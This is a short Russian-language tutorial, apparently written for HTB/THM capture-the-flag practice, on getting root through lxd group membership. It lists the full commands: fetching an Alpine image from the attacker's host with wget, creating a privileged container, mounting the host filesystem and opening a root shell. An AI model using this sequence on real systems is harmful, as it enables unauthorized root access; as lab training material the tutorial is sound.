LXD privelege escalation

LXD privelege escalation

Max Alexeev (@wi_max)

Предположим, решая очередную тачку на htb или thm, вы получили шелл и, как это обычно бывает, решили посмотреть информацию о пользователе с помощью id. Должен ли вас смутить следующий вывод команды, или все ок?

uid=1000(john) gid=1000(john) groups=1000(john),4(adm),27(sudo),108(lxd)

Если однозначного ответа в голову не приходит, то информация рассмотренная здесь будет очень полезна!



Разбираемся в терминологии

Linux Container (LXC) - система виртуализации на уровне операционной системы для запуска нескольких изолированных экземпляров операционной системы Linux на одном узле. LXC не использует виртуальные машины, а создаёт виртуальное окружение с собственным пространством процессов и сетевым стеком. Все экземпляры LXC используют один экземпляр ядра операционной системы.

Linux Daemon (LXD) - это гипервизор контейнеров, который базируется на LXC. Клиент командной строки спроектирован так, чтобы быть простой и в то же время мощной утилитой для управления всеми контейнерами. Он может обрабатывать подключения к нескольким контейнерам и дать обзор всех контейнеров в вашей сети, позволяет создавать новые, и даже перемещать их во время работы.


Повышение привилегий

Вернемся к тому, что мы попали на целевую систему и видим следующий вывод id:

uid=1000(john) gid=1000(john) groups=1000(john),4(adm),27(sudo),108(lxd)

Это значит ни что иное, как то, что наш пользователь состоит в группе lxd и имеет право взаимодействия (создания, редактирования, использования, удаления) с контейнерами.

Первым делом, нам необходимо иметь собственный контейнер на целевой системе. Для реализации этой нужды проще всего загрузить контейнер на свою систему, а затем передать на целевую.

Наиболее легковесный вариант образа контейнера можно получить следующим образом:

git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./buld-alpine


После выполнения команд мы получим контейнер формата *.tar.gz

Передать на целевую систему полученный образ контейнера можно подняв на своей машине SimpleHTTPServer и используя wget на целевой соответственно:

cd /tmp

wget http://192.168.1.107:8000/apline-v3.10-x86_64-20210109_1227.tar.gz

После успешного получения на целевой системе образа, выполним следующую команду:

lxc image import ./alpine-v3.10-x86_64-20210109_1227.tar.gz --alias myimage

Это импортирует переданный образ с именем myimage.

После того, как мы получили образ, создадим контейнер, указав образ и имя.

lxc init myimage ignite -c security.privileged=true

Зададим некоторые конфигурации и смонитруем диск как /mnt/root

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

Запускаем и выполняем:

lxc start ignite

lxc exec ignite /bin/sh

Теперь мы имеем root права на целевой системе!



Report Page